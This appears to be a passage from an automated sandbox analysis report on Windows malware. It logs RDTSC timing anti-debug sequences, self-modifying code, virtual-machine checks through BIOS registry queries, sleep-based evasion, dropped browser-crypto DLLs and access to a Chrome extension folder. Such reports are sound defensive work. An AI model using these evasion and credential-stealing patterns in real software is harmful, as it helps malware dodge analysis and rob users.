Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A98CA second address: 8A98D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A98D0 second address: 8A98DA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F49C1336BBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A98DA second address: 8A98E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A98E9 second address: 8A98EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A7FC3 second address: 8A7FC9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A8749 second address: 8A8753 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A8753 second address: 8A8757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A8757 second address: 8A875B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A99C6 second address: 8A99D8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F49C1023918h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A99D8 second address: 8A99DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A99DC second address: 8A99E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A99E6 second address: 8A9A49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b js 00007F49C1336BC4h 0x00000011 pushad 0x00000012 je 00007F49C1336BB6h 0x00000018 js 00007F49C1336BB6h 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 jmp 00007F49C1336BC1h 0x00000027 jmp 00007F49C1336BBCh 0x0000002c popad 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 pushad 0x00000032 jnl 00007F49C1336BBCh 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F49C1336BC0h 0x0000003f rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A9BA9 second address: 8A9BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8ACF6E second address: 8ACF78 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F49C1336BBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B02AF second address: 8B02B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B02B3 second address: 8B02B9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B035E second address: 8B0368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F49C1023916h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B0368 second address: 8B036C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B036C second address: 8B041A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F49C102391Ch 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F49C1023925h 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007F49C1023920h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 jns 00007F49C1023924h 0x00000028 pop eax 0x00000029 push 00000000h 0x0000002b push edx 0x0000002c call 00007F49C1023918h 0x00000031 pop edx 0x00000032 mov dword ptr [esp+04h], edx 0x00000036 add dword ptr [esp+04h], 0000001Dh 0x0000003e inc edx 0x0000003f push edx 0x00000040 ret 0x00000041 pop edx 0x00000042 ret 0x00000043 call 00007F49C1023926h 0x00000048 mov si, 1CD5h 0x0000004c pop esi 0x0000004d mov edi, dword ptr [ebp+122D2A8Ch] 0x00000053 call 00007F49C1023919h 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c push edi 0x0000005d pop edi 0x0000005e rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B041A second address: 8B041E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B041E second address: 8B0424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B0717 second address: 8B0729 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F49C1336BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B0729 second address: 8B0733 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F49C1023916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B0B1B second address: 8B0B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B0B27 second address: 8B0B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B0C27 second address: 8B0C2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B0C2D second address: 8B0C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B0C31 second address: 8B0C35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B108C second address: 8B1096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F49C1023916h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B1096 second address: 8B10A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F49C1336BB6h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B1115 second address: 8B111A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B111A second address: 8B119A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F49C1336BC4h 0x00000008 jmp 00007F49C1336BC7h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jng 00007F49C1336BBEh 0x00000017 push eax 0x00000018 jc 00007F49C1336BB6h 0x0000001e pop eax 0x0000001f xchg eax, ebx 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007F49C1336BB8h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 0000001Ah 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a nop 0x0000003b jmp 00007F49C1336BC5h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B119A second address: 8B119E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B119E second address: 8B11B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B17D8 second address: 8B17E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B17E5 second address: 8B1839 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F49C1336BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F49C1336BB8h 0x00000010 popad 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F49C1336BB8h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c xchg eax, ebx 0x0000002d pushad 0x0000002e jno 00007F49C1336BBCh 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 jns 00007F49C1336BB6h 0x0000003d popad 0x0000003e popad 0x0000003f push eax 0x00000040 push esi 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B1839 second address: 8B183D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B2724 second address: 8B272A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B272A second address: 8B2784 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F49C1023918h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov si, ax 0x00000028 sub edi, dword ptr [ebp+122D29B0h] 0x0000002e push 00000000h 0x00000030 jmp 00007F49C102391Dh 0x00000035 push 00000000h 0x00000037 mov edi, dword ptr [ebp+122D2A34h] 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jp 00007F49C1023916h 0x00000048 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B2784 second address: 8B278A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B37AD second address: 8B37B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B25EA second address: 8B25FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B25FA second address: 8B25FF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B4DDE second address: 8B4DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B4DE3 second address: 8B4E32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F49C1023916h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F49C1023929h 0x00000014 nop 0x00000015 mov esi, 5132CB00h 0x0000001a mov edi, dword ptr [ebp+122D26F7h] 0x00000020 push 00000000h 0x00000022 mov esi, ebx 0x00000024 push 00000000h 0x00000026 jmp 00007F49C102391Ah 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e push edx 0x0000002f jbe 00007F49C1023916h 0x00000035 pop edx 0x00000036 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B4E32 second address: 8B4E3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F49C1336BB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B5880 second address: 8B5884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B2F5F second address: 8B2F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8B6DCD second address: 8B6DD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8BA5FE second address: 8BA602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8BA602 second address: 8BA608 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8BA608 second address: 8BA60E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8BBBED second address: 8BBC7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F49C1023918h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov bx, ax 0x00000027 push 00000000h 0x00000029 mov dword ptr [ebp+122D2058h], edx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F49C1023918h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b movsx edi, si 0x0000004e call 00007F49C1023924h 0x00000053 sub dword ptr [ebp+1249332Fh], edx 0x00000059 pop edi 0x0000005a xchg eax, esi 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F49C102391Fh 0x00000062 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8BCBB7 second address: 8BCBCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C1336BBEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8BF9F2 second address: 8BFAA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1023928h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F49C1023918h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 xor dword ptr [ebp+122D33B4h], esi 0x0000002c mov bx, dx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F49C1023918h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b jmp 00007F49C1023920h 0x00000050 push 00000000h 0x00000052 mov dword ptr [ebp+122D1B99h], ecx 0x00000058 xchg eax, esi 0x00000059 jg 00007F49C1023920h 0x0000005f push eax 0x00000060 pushad 0x00000061 jmp 00007F49C1023924h 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8C0A9D second address: 8C0AB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F49C1336BC1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8C0AB3 second address: 8C0ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a mov bl, 05h 0x0000000c push 00000000h 0x0000000e mov edi, dword ptr [ebp+122D1BAAh] 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pushad 0x00000019 popad 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8C1BAE second address: 8C1BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10DFB0E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12B2B90 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 130E5A8 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Special instruction interceptor: First address: 8A9775 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Special instruction interceptor: First address: 8A7D8D instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Special instruction interceptor: First address: 6EC1CE instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Special instruction interceptor: First address: 93753C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AB9775 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AB7D8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8FC1CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B4753C instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\DocumentsDHCFIDAKJD.exe

Code function: 9_2_05090CD0 rdtsc

9_2_05090CD0

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1008478001\804e4a2fb7.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 2032	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3868	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3584	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1516	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5968	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2412	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4088	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4088	Thread sleep time: -1530000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4088	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsDHCFIDAKJD.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C46C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C46C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

